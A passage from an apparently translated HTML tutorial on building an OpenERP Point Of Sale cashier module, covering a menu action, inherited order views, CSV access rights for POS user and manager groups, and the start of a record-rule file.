<span class="selectionner_code LienSelectionne" id="code-d0e7594" onclick="selectionCode('contenuCoded0e7594');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e7594"> <code class="markup"><</code><code class="markup">menuitem</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">menu_action_pos_cashier</code><code class="literal1">"</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">parent</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">menu_point_of_sale_cashiers</code><code class="literal1">"</code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">action</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">action_pos_cashier</code><code class="literal1">"</code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code>
<code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
</code></pre>
</div>
This time, we add the <b>action</b> attribute that refers to the action that we will define later.<br />
You will also notice that the <b>parent</b> menu is the heading we created earlier. Clearly, the menu will be within this heading.<br /><br />
The menu appears in the <b>Menu</b> tab of the <b>POS/Manager</b> group (from <b>Configuration/Groups</b> menu) as shown in the image below.<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/group_pos_manager.jpg"><img alt="The menu appears in POS/Manager group" class="ImgCliquable" height="300px" src="./images/group_pos_manager.jpg" width="550px" /></a><figcaption>The menu appears in POS/Manager group</figcaption></figure>
<br />
<div class="imgtext-idea">
Here we can see the sorting of the menus according to their sequence.</div>
</div>
<h4 class="TitreSection3" id="LVII-B-4-e">
VII-B-4-e. The action of the menu<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
When we click on the <b>Cashiers</b> menu, the following action will be executed.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e7752">
action_pos_cashier<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e7752" onclick="selectionCode('contenuCoded0e7752');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e7752"> <code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.actions.act_window</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">action_pos_cashier</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>Cashiers<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">type</code><code class="literal1">"</code><code class="markup">></code>ir.actions.act_window<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">res_model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_type</code><code class="literal1">"</code><code class="markup">></code>form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_mode</code><code class="literal1">"</code><code class="markup">></code>tree,form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_tree</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">context</code><code class="literal1">"</code><code class="markup">></code>{"search_default_filter_see_all":1}<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">help</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">html</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">p</code><code class="markup"> </code><code class="markup">class</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">oe_view_nocontent_create</code><code class="literal1">"</code><code class="markup">></code>
Click here to create a cashier for the Point Of Sale.
<code class="markup"><</code><code class="markup">/</code><code class="markup">p</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
</code></pre>
</div>
When it comes to action, then we use <b>ir.actions.act_window</b> model (the action will be recorded in the ir_act_window table of OpenERP).<br /><br /><b><span style="color: red;">name="type"</span></b><br />
This is the type of the action<br /><br /><b><span style="color: red;">name="res_model"</span></b><br />
This is the name of the table used<br /><br /><b><span style="color: red;">name="view_type"</span></b><br />
This is the type of the view<br /><br /><b><span style="color: red;">name="view_mode"</span></b><br />
This is the type of available views. Here we will allow form view and tree view. There is another type of view, the <b>Kaban</b> view.<br /><br /><b><span style="color: red;">name="view_id"</span></b><br />
This is the ID of the view that this action will apply. Here, the tree view.<br /><br /><b><span style="color: red;">name="context"</span></b><br />
The context of the view that apply to the tree view. Here, a default filter is applied, the <b>filter_see_all</b> filter we created earlier. So we will see all cashiers.<br /><br /><b><span style="color: red;">name="help" type="html"</span></b><br />
This field will be used to display the content in HTML format if the table is empty.<br />
Using <b>oe_view_nocontent_create</b> special class, a text will be displayed with an arrow to the <b>Create</b> button.<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/no_cashier_create.jpg"><img alt="If no cashier has been created in the POS, the above text is displayed" class="ImgCliquable" height="177px" src="./images/no_cashier_create.jpg" width="550px" /></a><figcaption>If no cashier has been created in the POS, the above text is displayed</figcaption></figure>
<br />
<div class="imgtext-info">
In the Point Of Sale, when we will click on the<b> « Cashiers » </b>menu, the tee view will appear with the <b>« All »</b> filter that will display all cashiers. A <b>« Create »</b> button will be displayed on top of the table.</div>
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/cashier_menu.jpg"><img alt="The Cashiers menu in the POS heading" class="ImgCliquable" height="325px" src="./images/cashier_menu.jpg" width="191px" /></a><figcaption>The Cashiers menu in the POS heading</figcaption></figure>
</div>
</div>
<h3 class="TitreSection2" id="LVII-B-5">
VII-B-5. The order_cashier_view.xml file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
We will now create the view for orders to the cashier's name appears. <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e8159">
order_cashier_view.xml<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e8159" onclick="selectionCode('contenuCoded0e8159');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e8159"> <code class="keyword3"><?</code><code class="keyword3">xml</code><code class="keyword3"> </code><code class="keyword3">version="1.0"</code><code class="keyword3"> </code><code class="keyword3">encoding="utf-8"?</code><code class="keyword3">></code>
<code class="markup"><</code><code class="markup">openerp</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">data</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Vue</code><code class="comment1"> </code><code class="comment1">formulaire</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_pos_cashier_form</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.order<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>view.inherit.pos.order.form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_type</code><code class="literal1">"</code><code class="markup">></code>form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">inherit_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.view_pos_pos_form</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">partner_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">position</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">after</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Vue</code><code class="comment1"> </code><code class="comment1">Tree</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_pos_cashier_tree</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.order<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>view.inherit.pos.order.tree<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_type</code><code class="literal1">"</code><code class="markup">></code>tree<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">inherit_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.view_pos_order_tree</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">user_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">position</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">replace</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">data</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">openerp</code><code class="markup">></code>
</code></pre>
</div>
As in the previous file, we will create a « form » view and a « tree » view.<br /><br /><b>Warning !</b><br />
If you remember, the<b> inherit_pos_order_for_cashiers</b> object inherits from the <b>pos_order</b> object, the original object of the Point Of Sale. <br /><br />
We must therefore take the header of the original view, change the <b>name</b> field and add the <b>inherit_id</b> field.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e8779">
inherit_id<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e8779" onclick="selectionCode('contenuCoded0e8779');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e8779"> <code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">inherit_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.view_pos_order_tree</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
</code></pre>
</div>
You will notice that we put the identifier of the original view, and do not forget to precede with the name of the original module (dot syntax), since this view does not belong to our module, but to its parent.<br />
<h4 class="TitreSection3" id="LVII-B-5-a">
VII-B-5-a. The form view<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e8825">
Vue formulaire<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e8825" onclick="selectionCode('contenuCoded0e8825');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e8825"> <code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_pos_cashier_form</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.order<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>view.inherit.pos.order.form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_type</code><code class="literal1">"</code><code class="markup">></code>form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">inherit_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.view_pos_pos_form</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">partner_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">position</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">after</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
</code></pre>
</div>
We will insert the <b>cashier_name</b> field in the form.<br />
For this, we use a field that already exists and add the <b>position</b> attribute.<br />
<b>Availble positions</b>
<br />
<ul class="ListeDVP">
<li><b><span style="color: red;">after :</span></b> the field will be inserted <b>after </b>the one that contains the position attribute ;</li>
<li><b><span style="color: red;">before :</span></b> the field will be inserted <b>before</b> the one that contains the position attribute;</li>
<li><b><span style="color: red;">replace :</span></b> <b>replace</b> the field that contains the position attribute ;</li>
</ul>
In this case, the <b>cashier_name </b>field will be placed after <b>partner_id</b> field (the client) in the form <br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/order_form.jpg"><img alt="The cashier_name field in the order form" class="ImgCliquable" height="301px" src="./images/order_form.jpg" width="550px" /></a><figcaption>The cashier_name field in the order form</figcaption></figure>
</div>
<h4 class="TitreSection3" id="LVII-B-5-b">
VII-B-5-b. The Tree View<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e9150">
Tree view<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e9150" onclick="selectionCode('contenuCoded0e9150');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e9150"> <code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_pos_cashier_tree</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.order<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>view.inherit.pos.order.tree<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_type</code><code class="literal1">"</code><code class="markup">></code>tree<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">inherit_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">point_of_sale.view_pos_order_tree</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">user_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">position</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">replace</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
</code></pre>
</div>
In the tree view, we will replace the <b>user_id</b> field (User of the Point Of Sale) by<b> cashier_name</b> field.<br />
<div class="imgtext-idea">
Remember that we create this module for several cashiers can place orders without having to log in each time the cashier changes. This is why we do not want the user name of the Point Of Sale, which will be the same for all cashiers, appears in the orders view. However, reveal the name of the cashier will allow immediately the manager to see wich cashier has made such sale.</div>
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/orders_tree.jpg"><img alt="The cashier_name field in tree view of the orders" class="ImgCliquable" height="153px" src="./images/orders_tree.jpg" width="550px" /></a><figcaption>The cashier_name field in tree view of the orders</figcaption></figure>
</div>
</div>
</div>
<h2 class="TitreSection1" id="LVII-C">
VII-C. Security Settings of the module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
As we have defined the menu access to a particular group, we will now apply some security policies on the module to restrict access and set a rule on the records.<br />
<h3 class="TitreSection2" id="LVII-C-1">
VII-C-1. Access Rights<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
We will create a special file in the <b>security</b> directory of the module.<br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">/opt/modules-openerp/pos_cashier/security</span> </b>
</div>
</blockquote>
The file that defines the access rights to the database records is a CSV file.<br />
It has always the same name : <b>ir.model.access.csv.</b><br />
The first line contains the names of the fields separated by a comma.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e9465">
CSV fields<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e9465" onclick="selectionCode('contenuCoded0e9465');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e9465"> id,name,model_id:id,group_id:id,perm_read,perm_write,perm_create,perm_unlink
</code></pre>
</div>
<b><span style="color: red;">id</span></b><br />
A unique identifier for the access rule<br /><br /><b><span style="color: red;">name</span></b><br />
The name of the rule. It will appear in the configuration pages of OpenERP.<br /><br /><b><span style="color: red;">model_id:id</span></b><br />
The table to which this rule applies. The table name should always be prefixed with <b>model_</b>.<br /><br /><b><span style="color: red;">group_id:id</span></b><br />
The user group to which this rule applies.<br /><br /><b><span style="color: red;">perm_read</span></b><br />
Permission to read the data (1 or 0).<br /><br /><b><span style="color: red;">perm_write</span></b><br />
Permission to modify the data (1 or 0).<br /><br /><b><span style="color: red;">perm_create</span></b><br />
Permission to create data (1 or 0).<br /><br /><b><span style="color: red;">perm_unlink</span></b><br />
Permission to delete the data (1 or 0).<br /><br />
We will now add two additional lines.<br />
A line for the rights for the users of the POS (<b>POS/User</b> group) with read rights only.<br />
And a line for the rights of the managers of the POS (<b>POS/Manager</b> group) with all rights.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e9541">
CSV fields<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e9541" onclick="selectionCode('contenuCoded0e9541');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e9541"> id,name,model_id:id,group_id:id,perm_read,perm_write,perm_create,perm_unlink
access_pos_cashier_u,pos.cashier user,model_pos_cashier,point_of_sale.group_pos_user,1,0,0,0
access_pos_cashier_m,pos.cashier manager,model_pos_cashier,point_of_sale.group_pos_manager,1,1,1,1
</code></pre>
</div>
<b>About POS/User group</b>
<br />
<ul class="ListeDVP">
<li><b>id</b> = access_pos_cashier_u </li>
<li><b>name</b> = pos.cashier user</li>
<li><b>model_id:id</b> = model_pos_cashier</li>
<li><b>group_id:id</b> = point_of_sale.group_pos_user</li>
<li><b>perm_read</b> = 1</li>
<li><b>perm_write</b> = 0</li>
<li><b>perm_create</b> = 0</li>
<li><b>perm_unlink</b> = 0</li>
</ul>
<b>About POS/Manager group</b>
<br />
<ul class="ListeDVP">
<li><b>id</b> = access_pos_cashier_m </li>
<li><b>name</b> = pos.cashier manager</li>
<li><b>model_id:id</b> = model_pos_cashier</li>
<li><b>group_id:id</b> = point_of_sale.group_pos_manager</li>
<li><b>perm_read</b> = 1</li>
<li><b>perm_write</b> = 1</li>
<li><b>perm_create</b> = 1</li>
<li><b>perm_unlink</b> = 1</li>
</ul>
When you go to the <b>Configuration/Security/Access controls List</b> menu of OpenERP you will see these two lines in the tree view.<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_acces.jpg"><img alt="pos_cashier access rights" class="ImgCliquable" height="139px" src="./images/pos_cashier_acces.jpg" width="550px" /></a><figcaption>pos_cashier access rights</figcaption></figure>
</div>
<h3 class="TitreSection2" id="LVII-C-2">
VII-C-2. Record rules<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
Now let's define a record rule to ensure that the manager of a Point Of Sale can create a cashier for its Point Of Sale only.<br />
When creating a cashier, if the manager selects a Point Of Sale in the list which does not belong to him, an error message will be displayed.<br />
<div class="imgtext-idea">
The administrator of OpenERP (Admin user) can create cashiers in any Point Of Sale.<br />
The administrator has full rights to the database. It can therefore configure any application. Security rules do not apply to him.</div>
To do this, still in the <b>security</b> directory of the module, we will create an XML file that we'll call <b>pos_cashier_security.xml</b>.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e9676">
pos_cashier_security.xml<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e9676" onclick="selectionCode('contenuCoded0e9676');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e9676"> <code class="keyword3"><?</code><code class="keyword3">xml</code><code class="keyword3"> </code><code class="keyword3">version="1.0"</code><code class="keyword3"> </code><code class="keyword3">encoding="utf-8"?</code><code class="keyword3">></code>
<code class="markup"><</code><code class="markup">openerp</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">data</code><code class="markup"> </code><code class="markup">noupdate</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">0</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">rule_pos_cashier</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.rule</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>Point Of Sale Cashiers<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
